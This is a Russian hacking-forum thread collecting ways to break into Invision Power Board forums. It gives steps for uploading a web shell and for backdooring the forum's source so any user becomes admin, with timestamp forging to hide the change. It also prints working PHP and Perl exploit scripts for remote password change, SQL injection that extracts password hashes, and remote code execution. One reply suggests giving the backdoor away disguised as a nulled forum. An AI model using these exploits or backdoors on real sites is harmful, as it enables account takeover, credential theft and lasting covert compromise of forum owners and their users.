Способы взлома IPB

..::NiK::..

New Member
LV
0
 
Вот, что удалось найти на разных хакерских сайтах:

<div align="center"><!--sizeo:3--><span style="font-size:12pt;line-height:100%"><!--/sizeo--><b>Заливаем шелл</b><!--sizec--></span><!--/sizec--></div>

<b>Invision Power Board 1.3</b>
"Administration(Администрирование)"->"Manage Emoticons(Управление смайлами)"->"Upload an Emoticon to the emoticons directory(Загрузить смайл в его директорию)"->"Browse(Обзор)"
Обычно шелл грузица в одну из этих папок,в зависимости от версии,если конечно прав хватает :)
1.3 /forum/html/emoticons/shell.php
2.* /forum/style_emoticons/default/shell.php
где shell.php имя вашего загруженного шелла.

<b>Invision Power Board 2.0.*</b>
Троянизация форума

А теперь представим такую ситуацию, что ты месяц ломал форум, залил шелл, и бац, его удалили =)печально, конечно, да! Для этого мы будем "троянить" форум ,т.е. изменять исходный код форума на тот который сделает нас админом, даже если мы им не являемся. Т.е. любой рарегестрированный пользователь сможет стать админом, но в админцентре, что ты админ не будет отображаться И врядли админы будут смотреть исходники страниц, т.е. твой "троян" будет еще долгое время висеть на форуме чуешь? итак начнем.
ищем такие строки (по дефолту 382 строчка)

<b>Invision Power Board 1.3</b>
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->if ($GROUP['g_access_cp'] != 1)
{
do_login("You do not have access to the administrative CP");
}
else
{
$session_validated = 1;
$this_session = $row;
}<!--c2--></div><!--ec2-->

и заменяем на
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] = 1)
{

$session_validated = 1;
$this_session = $row;
}<!--c2--></div><!--ec2-->

и ищим строчки (по дефолту 442 строчка)
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->if ($GROUP['g_access_cp'] != 1)
{
do_login("You do not have access to the administrative CP");
}
else
{

//----------------------------------
// All is good, rejoice as we set a
// session for this user
//----------------------------------

$sess_id = md5( uniqid( microtime() ) );<!--c2--></div><!--ec2-->

заменяем на
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1--> if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] = 1)

{

//----------------------------------
// All is good, rejoice as we set a
// session for this user
//----------------------------------

$sess_id = md5( uniqid( microtime() ) );<!--c2--></div><!--ec2-->

потом редактируем файл /sources/Admin/ad_mysql.php и удаляем строки
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->if ($MEMBER['mgroup'] != $INFO['admin_group'])
{
$ADMIN->error("Sorry, these functions are for the root admin group only");
}<!--c2--></div><!--ec2-->

<b>Invision Power Board 2.0.*</b>
/sources/action_admin/login.php
по дефолту 147 строчка
удаляем строки
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->if ($mem['g_access_cp'] != 1)
{
$this->login_form("You do not have access to the administrative CP");
}
else
{<!--c2--></div><!--ec2-->

и в строке (по дефолту 206) удаляем символ "}" естественно без кавычек.
sql.php по дефолту 46 строка:
удаляем
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->if ($this->ipsclass->member['mgroup'] != $this->ipsclass->vars['admin_group'])
{
$this->ipsclass->admin->error("Sorry, these functions are for the root admin group only");
}<!--c2--></div><!--ec2-->

потом идем сюда
/sources/lib/admin_functions.php (строка 262)
изменяем строку:
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->$this->ipsclass->admin_session['_session_validated'] = 0;<!--c2--></div><!--ec2-->

меняем на
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->$this->ipsclass->admin_session['_session_validated'] = 1;<!--c2--></div><!--ec2-->

потом удаляем строки в файле /sources/sql_mysql.php (по дефолту 76 строка)
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->f ($this->ipsclass->member['mgroup'] != $this->ipsclass->vars['admin_group'])
{
$this->ipsclass->admin->error("Sorry, these functions are for the root admin group only");
}<!--c2--></div><!--ec2-->

А терь объясню все поподробней, когда ты заходишь в админку(не "затрояненную"), то идет сначала проверка if ($GROUP['g_access_cp'] != 1) имеешь ли ты доступ к админке, если нет {
do_login("You do not have access to the administrative CP");
}
то пишеться что ты болван, если же имеешь пропускает дальше. Для того чтобы нас приняли за своего надо изменить как ты понял эту строку if ($GROUP['g_access_cp'] != 1) на if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] == 1 ) этим мы ей даем понять, если мы имеем доступ к админке, или не имеем, все равно нас пропустить. Знающие легко переделают код под себя, как им хочеться, впишут что хотят, но т.к. как статья расчитывалась для начинающих, то я думаю, что вам так понятней будет. Ну вот, самые важные аспекты я разобрал, если что непонятное спрашивайте. Указанный выше приём, сработал в 9/10 форумов. В десятом были поставлены права правильно, отсюда следует, что почти каждый форум уязвим. ТОЛЬКО НЕ ЗАБЫАЕМ ИЗМЕНЯТЬ ДАТУ изменения файла, командой
touch -t 200710190921
где 2007 год 10 месяц 19 число 09:21 часов
советую изначально посмотреть эту дату перед трояниваем, чтобы поставить точно такую же.

<div align="center"><b><!--sizeo:3--><span style="font-size:12pt;line-height:100%"><!--/sizeo-->Invision Power Board v2.1.7 (Debug) Remote Password Change Exploit<!--sizec--></span><!--/sizec--></b></div>

PHP
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1--><?php
/*

Debug Mode password change vulnerability
Affects Invision Power Borard 2.0.0 to 2.1.7
by Rapigator

This works if:

"Debug Level" is set to 3
or
Enable SQL Debug Mode is turned on

In General Configuration of the forum software.

*/

// The forum's address up to and including 'index.php'
$site = "http://localhost/forums/index.php";

// An existing user's login name
$name = "admin";

// The new password(3-32 characters)
$pass = "1234";

// You can use a proxy...
// $proxy = "1.2.3.4:8080";



// -----------------------------
$site .= "?";
$suffix = "";
$name = urlencode($name);
$pass = urlencode($pass);
$curl = curl_init($site.'act=Reg&CODE=10');
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>([\\w]*?)_reg_antispam<\/span> \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
$prefix = $regs[1];
$regid = $regs[2];
$regcode = $regs[3];
} else {
$suffix = "&debug=1";
$curl = curl_init($site.'act=Reg&CODE=10'.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/INSERT INTO ([\\w]*?)_reg_antispam \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
$prefix = $regs[1];
$regid = $regs[2];
$regcode = $regs[3];
}
}
if (!isset($regid) || !isset($regcode)) {
echo "Error: Probably not vulnerable, or no forum found";
exit;
}

$curl = curl_init($site.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=11&member_name={$name}&regid={$regid}&reg_code={$regcode}");
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \\(vid,member_id,real_group,temp_group,entry_date,&nbsp;&nbsp;coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
change_pass($regcode,$regid,$regs[1],$regs[2]);
}
if (preg_match('/INSERT INTO '.$prefix.'_validating \\(vid,member_id,real_group,temp_group,entry_date,&nbsp;&nbsp;coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
change_pass($regcode,$regid,$regs[1],$regs[2]);
}

function change_pass($regcode,$regid,$vid,$userid) {
global $site, $proxy, $name, $pass;
$curl = curl_init($site.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=03&type=lostpass&uid={$userid}&aid={$vid}&regid={$regid}&reg_code={$regcode}&pass1={$pass}&pass2={$pass}");
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
echo "Password Changed!";
exit;
}
?><!--c2--></div><!--ec2-->
 
ну и че это за влом то?
Как я туда попаду??? в Фтп...
 
<div align="center"><!--sizeo:3--><span style="font-size:12pt;line-height:100%"><!--/sizeo--><b>Уязвимости Модов IPB</b><!--sizec--></span><!--/sizec--></div>

<b>Army System</b>
SQL Injection Exploit

PHP
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1--><?php
/* --------------------------- EXPLOIT ---------------------------
Invision Power Board Army System Mod 2.1 SQL Injection Exploit
Tested on: Latest version (2.1.0)
Discovered on: 06.02.2006 by Alex & fRoGGz
Credits to: SecuBox Labs

PLEASE READ THIS !
The query of the SQL Injection depends about the number of fields in the sql table
We have successfully tested the exploit on a new fresh IPB 2.1.x with Army
System Mod 2.1 installed

IN NO EVENT SHALL THE OWNER OF THIS CODE OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

$target = "http://site.com/forums/"; // <--- Where ?
$prefix = "ibf_"; // <--- SQL prefix ?
$id = 1; // <--- Who ?

print_r(get_infos($target,$prefix,$id));
if(!get_infos($target,$prefix,$id)) echo "failed";

function get_infos($target,$prefix,$id) {

&nbsp;&nbsp;&nbsp;&nbsp;$inject = "index.php?s=&act=army&userstat=0+UNI0N+SELECT+id,member_login_key,";
&nbsp;&nbsp;&nbsp;&nbsp;$inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,&nbsp;&nbsp;1,1,1,1,1,1,1,";
&nbsp;&nbsp;&nbsp;&nbsp;$inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,&nbsp;&nbsp;1,1,1,NULL,NULL,";
&nbsp;&nbsp;&nbsp;&nbsp;$inject.= "NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,&nbsp;&nbsp;NULL,NULL,NULL,";
&nbsp;&nbsp;&nbsp;&nbsp;$inject.= "NULL+FROM+".$prefix."members+WHERE+id=";

&nbsp;&nbsp;&nbsp;&nbsp;$filename = $target . $inject . $id;

&nbsp;&nbsp;&nbsp;&nbsp;$handle = fopen ($filename, "r");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$infos = array();

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (feof($handle)) { continue 2; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ( $handle ) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while ( ($buffer = fgets( $handle )) )
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ( strpos( $buffer, "<td class='pformleft' width=\"35%\">Name</td>") ) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$infos['md5'] = strip_tags ( fgets( $handle) );
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;fclose ($handle);

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (count($infos) == 1) return $infos;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return false;
}
?><!--c2--></div><!--ec2-->

<b>D2-Shoutbox [версия 4.2]</b>
Remote SQL Injection Exploit
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->#!/usr/bin/perl
##################################################&nbsp;&nbsp;#######
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _______ _______ ______&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |______ |______ |&nbsp;&nbsp;&nbsp;&nbsp; \&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ______| |______ |_____/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#D2-Shoutbox 4.2(IPB Mod)<=SQL injection&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#Created By SkOd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#SED security Team&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#http://www.sed-team.be&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #
#skod.uk@gmail.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#ISRAEL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #
##################################################&nbsp;&nbsp;#######
#google:
#"Powered By D2-Shoutbox 4.2"
##################################################&nbsp;&nbsp;#######
use IO::Socket;
$host = $ARGV[0];
$user = $ARGV[2];
$uid&nbsp;&nbsp;= $ARGV[3];
$pid&nbsp;&nbsp;= $ARGV[4];
$type = $ARGV[5];

sub type()
{
if($type==1){$row="password";}
if($type==2){$row="member_login_key";}
else{print "Just 1 Or 2\n";exit();}
$sql="index.php?act=Shoutbox&view=saved&load=-1%20UNION%20SELECT%20null,null,null,null,".$row.",null,null,null%20FROM%20ibf_members%20where%20id=&nbsp;&nbsp;".$user."/*";
$path = $ARGV[1].$sql;
}


sub header()
{
print q{
##################################################&nbsp;&nbsp;#####################
###&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; D2-Shoutbox 4.2 SQL injection Exploit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ###
###&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Tested On D2-Shoutbox 4.2 And IPB 2.4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ###
###&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Created By SkOd, Sed Security Team&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ###
##################################################&nbsp;&nbsp;#####################
sedSB.pl [HOST] [DIR] [victim] [my id] [my md5 hash] [1-(1.*)/2-(2.*)]
sedSB.pl www.host.com /forum/ 2 4500 f3b8a336b250ee595dc6ef6bac38b647 2
##################################################&nbsp;&nbsp;#####################
}
}

sub sedsock()
{
$sedsock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => "80") || die "[-]Connect Failed\r\n";
print $sedsock "GET $path HTTP/1.1\n";
print $sedsock "Host: $host\n";
print $sedsock "Accept: */*\n";
print $sedsock "Cookie: member_id=$uid; pass_hash=$pid\n";
print $sedsock "Connection: close\n\n";
while($res = <$sedsock>){
$res =~ m/shout_s'>(.*?)<\/textarea>/ && print "[+]User: $user\n[+]Md5 Hash: $1\n";
}
}

if(@ARGV < 6){
header();
}else{
type();
sedsock();
}
Remote SQL Injection Exploit<!--c2--></div><!--ec2-->

<b>D21-Shoutbox 1.1</b>
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->#!/usr/bin/perl

########################################
# Coded by k1b0rg (768620) #
# shout.pl <site> <id> #
# shout.pl http://site.ru/forum/ 1 #
# shout.pl http://site.ru/forum/ 1,2 #
########################################

use LWP::UserAgent;
my $browser = LWP::UserAgent->new();
$site=$ARGV[0];
my $admins_id=$ARGV[1];
@admin=split(',',$admins_id);
my $res=$browser->get($site.'index.php?act=Shoutbox');
if($res->content=~/act=Shoutbox&shout=(d+)/is)
{
my $idshout=$1;
syswrite STDOUT, "\n".'Shout box found!';
my $res=$browser->get($site.'index.php?act=Shoutbox&shout='.$idshout.'\'');
if($res->content =~ /(SQL error|mySQL query error)/is)
{
syswrite STDOUT, "\n".'Mode(sql) shoutbox: [OK]';
if($res->content =~ /FROM (.*?)shoutbox/i)
{
$prefix_bd=$1;
syswrite STDOUT, "\n".'prefix_bd_shoutbox: ['.$prefix_bd.']';
&shout_sql($idshout);
}
}
else { syswrite STDOUT, "\n".'NOT Vulnerebility';}
}
else { syswrite STDOUT, "\n".'Shout box mode NOT FOUND!';}
sub shout_sql($)
{
my $idshout=$_[0];
foreach my $id(@admin)
{
syswrite STDOUT, "\n".'Admin id ('.$id.') : [';
for($i=1;$i<=32;$i++)
{
&position_shout(97,102,$i,$id,$idshout,'pass') if (!&position_shout(48,57,$i,$id,$idshout,'pass'))
}
syswrite STDOUT, ':';
for($i=1;$i<=5;$i++)
{
&position_shout(33,126,$i,$id,$idshout,'salt');
}
syswrite STDOUT, ']';
}
}
sub position_shout($$$$$$)
{
my ($j,$max,$i,$mid,$idshout,$label)=@_;
while($j<=$max)
{
if(&scan_shout($site,$j,$mid,$i,$idshout,$label)) { syswrite STDOUT, chr($j); return 1;}
$j++;
}
}
sub scan_shout($$$$$)
{
my ($site,$num,$mid,$pos,$idshout,$label)=@_;
my $field=($label eq 'pass')?('converge_pass_hash')'converge_pass_sal t');
my $res=$browser->get($site.'index.php?act=Shoutbox&shout='.$idshout.'+and(ascii(substring((select+'.$&nbsp;&nbsp; field.'+from+'.$prefix_bd.'members_converge+where+&nbsp;&nbsp; converge_id='.$mid.'),'.$pos.',1))='.$num.')/*');
return 1 if($res->content=~/varssidss=s[(d+)];/is);
}<!--c2--></div><!--ec2-->

<b>ibProArcade 2.x</b>
Remote SQL Injection Exploit
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->index.php?act=ibProArcade&module=report&user=-1 UNI0N select password from user where userid=[any_user]<!--c2--></div><!--ec2-->

<div align="center"><!--sizeo:3--><span style="font-size:12pt;line-height:100%"><!--/sizeo--><b>Invision Power Board <= 2.1.5 Remote Code Execution Tutorial</b><!--sizec--></span><!--/sizec--></div>

<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->#!usr/bin/perl
## Invision Power Board <= 2.1.5 Remote Code Execution Tutorial
## By not null
## Security Bunker Team
## http://secbun.info
## It is not an exploit! It is only tutorial, how to exploit a forum!
print q(
#-----------------------------------------#
# Invision Power Board 2.x.x RCE Tutorial #
# By Security Bunker Team | ©not null&nbsp;&nbsp;&nbsp;&nbsp; #
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; http://www.secbun.info&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#-----------------------------------------# );
print q(
Step 1: If you are already register on the forum, just login on it.
Else register&nbsp;&nbsp;first;]);
print "\r\nPress enter when finished...\r\n";
$ok = <STDIN>;

print q(
Ok, we have successful log in. Let's fun;]
Step 2: Go to some of the forum, where you could post messages.
Step 3: Post a message, that consist our harmful code (muahaha)
The code is: "eval(phpinfo()); //" [without quotes]
);
print "\r\nPress enter when finished...\r\n";
$ok = <STDIN>;
print q(When message is post, open a new page in your browser and go to the Search
(index.php?act=search). Use the search form to find your post just by your username.
And make sure "Show results as posts" is selected.);
print "\r\nPress enter when finished...\r\n";
$ok = <STDIN>;
print q(You must see your post, that consist our code.
Then add to the end of the url next string:);
print "\r\n&lastdate=z|eval.*?%20//)%23e\r\n";
print q(and press enter...);
print "\r\nPress enter when finished...\r\n";
$ok = <STDIN>;
print q(Can you see a result of phpinfo? If yes, we have successful exploited forum :-]
So, let's modify our post to get a shell.
But on this step we have a problem: we can't use arguments in functions (e.g. system("ls")) in such form.
But we can use it by it's code (e.g. system(chr(34).chr(108).chr(115).chr(34)))
I'm include a simple tool, that will help you to encode you string into code.
Just type your command, and you will get a string, that you can copy and paste into your post);
print "\r\n";
$out = "";
while ()
{
&nbsp;&nbsp;&nbsp;&nbsp;print "\r\nCommand for encode or 'exit' for exit ";
&nbsp;&nbsp;&nbsp;&nbsp;while(<STDIN>)
&nbsp;&nbsp;&nbsp;&nbsp; {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$cmd=$_;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;chomp($cmd);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit() if ($cmd eq 'exit');
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;last;
&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp; $len = length($cmd);
&nbsp;&nbsp;&nbsp;&nbsp; for ($i=0; $i<$len; $i++)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $s = substr($cmd,$i,1);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $out.="chr(".ord($s).")";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if($i != $len-1)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $out.=".";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;print "eval(system(".$out.").chr(59).exit()); //";
&nbsp;&nbsp;&nbsp;&nbsp;$out = "";
}<!--c2--></div><!--ec2-->
 
<!--quoteo(post=73126:date=9.12.2007, 04:05:name=«$EGUR@»)--><div class='quotetop'>Цитата(«$EGUR@» @ 9.12.2007, 04:05) [snapback]73126[/snapback]</div><div class='quotemain'><!--quotec-->ну и че это за влом то?
Как я туда попаду??? в Фтп...<!--QuoteEnd--></div><!--QuoteEEnd-->
Ну … я не хакер, и не всё тоже понимаю, но видимо какие-то способы есть, проста авторы этих инструкций их опускают как сама собой разумеющиеся. Как вариант ты можешь такую радость получить под видом зануленого форума.
 
Сверху